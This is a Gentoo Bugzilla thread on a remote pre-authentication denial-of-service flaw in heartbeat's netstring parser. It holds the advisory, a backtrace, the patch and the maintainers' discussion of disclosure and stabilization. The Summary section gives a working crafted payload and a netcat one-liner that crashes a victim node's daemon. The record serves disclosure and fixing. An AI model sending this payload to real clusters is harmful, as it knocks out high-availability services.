Bugzilla Bug 141894

Found by Mr. Yan Rong Ge.

This vulnerability was discovered on Monday, but it is not as interesting (nor
straightforward) as the previous local one...
Description of a remote Denial of Service vulnerability in heartbeat
=======================================================================

---------
Summary
---------

The function peel_netstring() in lib/clplumbing/cl_netstring.c does not
validate the 'length' parameter in user input. A crafted heartbeat message
in netstring format can cause the master control process to access (read)
invalid memory and die of a SEGV. This happens before authentication.

Following is an example of a crafted heartbeat message: (two lines)

###
70000000:

Thus a simple command as follows (issued from another member of the cluster) 
may cause SEGV to the victim heartbeat daemon (master control process). The
example uses unicast udp as the communication media between the two nodes.

$ ( echo "###" && echo "70000000:" ) | netcat -u 12.34.56.78 694

where 12.34.56.78 is the IP address of the victim node and 694 is the port
where the communication plugin listens from incoming heartbeat messages. 
70000000 is an arbitrary offset that may (or may not, depending on the actual 
memory layout of the process) cause SEGV.

---------
Details
---------

A backtrace (in gdb) of the master control process when receiving SEGV
is as follows:

0x40053b6b in peel_netstring (s=0x8112130 "70000000:\n", smax=0x811213b "",
    len=0xbfd96628, data=0xbfd9662c, parselen=0xbfd96624) at cl_netstring.c:296
296             if (*sp != ','){
(gdb) bt
#0  0x40053b6b in peel_netstring (s=0x8112130 "70000000:\n", smax=0x811213b "",
    len=0xbfd96628, data=0xbfd9662c, parselen=0xbfd96624) at cl_netstring.c:296
#1  0x40053ec7 in netstring2msg_rec (s=0x811212c "###\n70000000:\n", length=15,
    slen=0xbfd96668) at cl_netstring.c:412
#2  0x40053fe3 in netstring2msg (s=0x811212c "###\n70000000:\n", length=15,
    needauth=1) at cl_netstring.c:448
#3  0x400505fa in wirefmt2msg_ll (s=0x811212c "###\n70000000:\n", length=15,
    need_auth=1) at cl_msg.c:2422
#4  0x4004f280 in msgfromIPC_ll (ch=0x80f6ac8, flag=1) at cl_msg.c:1787
#5  0x4004f2d2 in msgfromIPC (ch=0x80f6ac8, flag=1) at cl_msg.c:1802
#6  0x080500ee in read_child_dispatch (source=0x80f6ac8, user_data=0x8073700)
    at heartbeat.c:1281
#7  0x40042fc7 in G_CH_dispatch_int (source=0x80fb508, callback=0,
user_data=0x0)
    at GSource.c:610
#8  0x4009335c in g_main_context_dispatch () from
/opt/gnome/lib/libglib-2.0.so.0
#9  0x400967cb in g_main_context_check () from /opt/gnome/lib/libglib-2.0.so.0
#10 0x40096ae7 in g_main_loop_run () from /opt/gnome/lib/libglib-2.0.so.0
#11 0x080507a8 in master_control_process () at heartbeat.c:1535
#12 0x0804f95c in initialize_heartbeat () at heartbeat.c:990
#13 0x080562f0 in main (argc=1, argv=0xbfd96c74, envp=0xbfd96c7c)
    at heartbeat.c:4842

Inspection shows that the vulnerable statement is around line 295:

        sp += (*len);
        if (*sp != ','){
                return(HA_FAIL);
        }

where (*len) is assigned in line 275:

        if (sscanf(sp,"%d", len) != 1){
                return(HA_FAIL);
        }

where (sp) points directly to the incoming heartbeat packet.

---------------
Suggested Fix
---------------

The vulnerability described above can be fixed by validating the 'length'
parameter in user input:

295a296,298
>       if (sp >= smax) {
>               return (HA_FAIL);
>       }

Upstream will release in 1-2 weeks time. Attach an ebuild to this bug if you
want pretesting before public disclosure.

Public now ?
CVE reference is still closed but SA21511 has been issued :

solution = update to 1.2.5 or 2.0.7

xmerlin, is 2.0.7 a valuable candidate for stabilization ? 

tsunam, could you test it please ?

I think SA 21511 (followed by Ubuntu, Debian and Mandriva) concerns this issue
but i prefer to wait for Sune before opening the bug.

2.0.7 is a valuable candidate

Definitively public now, thanks to our new padawan Akraut.

x86 please test 2.0.7 and mark stable if appropriate, thanks.

*** Bug 144244 has been marked as a duplicate of this bug. ***

1.2.5 and 2.0.7 marked stable on x86.

good. Thanks. Removing x86 from CC.

Sec team : please vote on GLSA.

I personnally vote yes (very easy remote DoS having potentially heavy
consequencies)

(In reply to comment #5)
> Definitively public now, thanks to our new padawan Akraut.
> 
> x86 please test 2.0.7 and mark stable if appropriate, thanks.

It was public before then, http://lwn.net/Alerts/195592/ or
http://lwn.net/Alerts/195783/ show you that.

> 
> It was public before then, http://lwn.net/Alerts/195592/ or
> http://lwn.net/Alerts/195783/ show you that.
> 

i know that, cf my comments #2 + #3 in which SA21511 mentioned it too. It was
only 2 days ago. It was confidential the two weeks before. So what's wrong?
Wasn't i enough responsive ?

(In reply to comment #10)
> i know that, cf my comments #2 + #3 in which SA21511 mentioned it too. It was
> only 2 days ago. It was confidential the two weeks before. So what's wrong?
> Wasn't i enough responsive ?

You're doing fine. My point is that the padawan here didn't break some embargo,
it was public prior to him filing the bug. That's what was implied earlier.

> You're doing fine. My point is that the padawan here didn't break some embargo,

of course :)

> it was public prior to him filing the bug. That's what was implied earlier.
> 

ok

Voting YES, let's have a GLSA.

GLSA 200608-23